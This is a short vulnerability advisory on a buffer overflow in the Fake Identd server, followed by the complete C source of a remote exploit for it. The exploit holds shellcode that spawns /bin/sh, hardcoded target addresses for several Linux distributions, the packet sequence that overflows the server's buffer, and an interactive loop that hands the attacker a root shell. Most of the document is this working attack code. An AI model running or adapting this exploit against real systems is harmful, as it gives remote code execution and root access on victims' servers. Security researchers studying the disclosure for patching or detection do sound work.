source: http://www.securityfocus.com/bid/5351/info Fake Identd is an open source Ident server designed to return the same information to all incoming requests. It is implemented by Tomi Ollila, and available for Linux and a number of other Unix based operating systems. Reportedly, some versions of Fake Identd fail to properly handle long client requests. A specially formatted request split across multiple TCP packets may cause an internal buffer to overflow. Reportedly, execution of arbitrary code as the Fake Identd server process is possible. /* lameident3-exp.c - [email protected] - http://www.nopninjas.com * this should work for most Linux distributions without needing * any modifications * * fakeidentd exploit 3rd revision. * v1.4 http://software.freshmeat.net/projects/fakeidentd/ * v1.2 http://hangout.de/fakeidentd/ * * vuln found by Jedi/Sector One * Other people who worked on the same bug and shared ideas: * Charles "core" Stevenson, Solar Eclipse * * 7/25/02 * * Collaborative effort via the [0dd] list. Thanks to Charles Stevenson for * running it. * * 0dd, irc.pulltheplug.com, b0red */ #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h> #define ALIGN 1 /* you probably dont need to touch this */ #define IDENTPORT 113 #define USLEEP 200 /* delays the send()'s to avoid "broken pipe" errors */ #ifdef DEBUG #define DUPFD "\x04" #else #define DUPFD "\x02" #endif /* dup() shellcode from Charles Stevenson <[email protected]> */ char lnx86_dupshell[]= "\x31\xc9\xf7\xe1\x51\x5b\xb0\xa4\xcd\x80\x31\xc9\x6a" DUPFD "\x5b\x6a\x3f\x58\xcd\x80\x41\x6a\x3f\x58\xcd\x80\x41\x6a\x3f" "\x58\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89" "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31" "\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"; struct Targets { char *name; long baseaddr; char *shellcode; }; struct Targets target[] = { { " gcc-2.91.66 x86\n" " * Slackware 7.1\n" " * RedHat 6.2\n", 0x0804b0a0, lnx86_dupshell }, { " gcc-2.95.3/4 x86\n" " * Slackware 8.1\n" " * Debian 3.0\n", 0x0804a260, lnx86_dupshell }, { (char *)0, 0, (char *)0 } }; void sh(int sockfd); int max(int x, int y); void fail(char *reason) { printf("exploit failed: %s\n", reason); exit(-1); } long resolve(char *host) { struct in_addr ip; struct hostent *he; if((ip.s_addr = inet_addr(host)) == -1) { if(!(he = gethostbyname(host))) return(-1); else memcpy(&ip.s_addr, he->h_addr, 4); } return(ip.s_addr); } int make_connect(struct in_addr host) { int s; struct sockaddr_in sin; memset(&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_port = htons(IDENTPORT); sin.sin_addr.s_addr = host.s_addr; if((s = socket(AF_INET, SOCK_STREAM, 0)) <= 0) fail("could not create socket"); if(connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) fail("could not connect\n"); return(s); } int main(int argc, char *argv[]) { int s, a, uwait = USLEEP, nops = 500; long baseaddr; long shelladdr = 0xbfffa090; long pointaddr = 0; char buf1[2020], buf2[32], *p, *shellcode; struct in_addr host; printf("lameident3-exp.c by sloth @ b0red\n"); if(argc<3) { printf("usage: ./lameident3-exp <target> <host> <send delay in ms>\n"); for(a=0;target[a].baseaddr;a++) printf(" %d: %x %s", a, target[a].baseaddr, target[a].name); exit(-1); } for(a=0;a<atoi(argv[1]);a++) if(!target[a].baseaddr) fail("invalid target"); baseaddr = target[a].baseaddr; shellcode = target[a].shellcode; if(argv[3]) uwait = atoi(argv[3]); if((host.s_addr = resolve(argv[2])) == -1) fail("invalid host"); memset(buf1, 0, sizeof(buf1)); memset(buf1, 0x90, sizeof(buf1)-strlen(shellcode)-1); memcpy(&buf1[(sizeof(buf1)-strlen(shellcode)-1)],shellcode,strlen(shellcode)); s = make_connect(host); send(s, "AAAAAAAAAAAAAAAAAAA", 19, 0); usleep(uwait); memset(buf2, 0, sizeof(buf2)); buf2[0] = 'A'; *(long *)&buf2[1] = shelladdr - baseaddr - 5; send(s, buf2, 5, 0); usleep(uwait); p = buf1; printf("Writing shellcode: %d bytes to 0x%x...\n", strlen(buf1), shelladdr); for(a=0;a<=strlen(buf1), *p;) { if((a = send(s, p, strlen(p) > 19 ? 19 : strlen(p), 0)) == -1) fail("write error"); p += a; usleep(uwait); } close(s); usleep(100); s = make_connect(host); send(s, "AAAAAAAAAAAAAAAAAAA", 19, 0); usleep(uwait); memset(buf2, 0, sizeof(buf2)); buf2[0] = 'A'; *(long *)&buf2[1] = shelladdr - baseaddr + strlen(buf1) + 20 - 5; send(s, buf2, 5, 0); usleep(uwait); p = buf1; pointaddr = shelladdr + strlen(buf1) + 20; printf("Writing pointers to 0x%x\n", pointaddr); memset(buf1, 0, sizeof(buf1)); for(a=0;a<=512;a += 4) *(long *)&buf1[a] = shelladdr + 500; for(a=0;a<=strlen(buf1), *p;) { if((a = send(s, p, strlen(p) > 19 ? 19 : strlen(p), 0)) == -1) fail("write error"); p += a; usleep(uwait); } close(s); usleep(uwait); s = make_connect(host); send(s, "AAAAAAAAAAAAAAAAAAA", 19, 0); usleep(uwait); memset(buf2, 0, sizeof(buf2)); buf2[0] = 'A'; *(long *)&buf2[1] = 0xffffffff - 0x9f - 5; send(s, buf2, 5, 0); usleep(uwait); memset(buf2, 0, sizeof(buf2)); *(long *)&buf2[0] = pointaddr + 200 + ALIGN; send(s, buf2, 4, 0); close(s); usleep(uwait); s = make_connect(host); send(s, "1234, 1234\n", 11, 0); usleep(uwait); printf("here comes the root shell!\n"); sh(s); close(s); } /* mixters */ int max(int x, int y) { if(x > y) return(x); return(y); } /* mixters sh() */ void sh(int sockfd) { char snd[1024], rcv[1024]; fd_set rset; int maxfd, n; strcpy(snd, "uname -a; pwd; id;\n"); write(sockfd, snd, strlen(snd)); for(;;) { FD_SET(fileno(stdin), &rset); FD_SET(sockfd, &rset); maxfd = max(fileno(stdin), sockfd) + 1; select(maxfd, &rset, NULL, NULL, NULL); if(FD_ISSET(fileno(stdin), &rset)){ bzero(snd, sizeof(snd)); fgets(snd, sizeof(snd)-2, stdin); write(sockfd, snd, strlen(snd)); } if(FD_ISSET(sockfd, &rset)){ bzero(rcv, sizeof(rcv)); if((n = read(sockfd, rcv, sizeof(rcv))) == 0){ printf("EOF.\n"); exit(0); } if(n < 0) fail("could not spawn shell"); fputs(rcv, stdout); } } }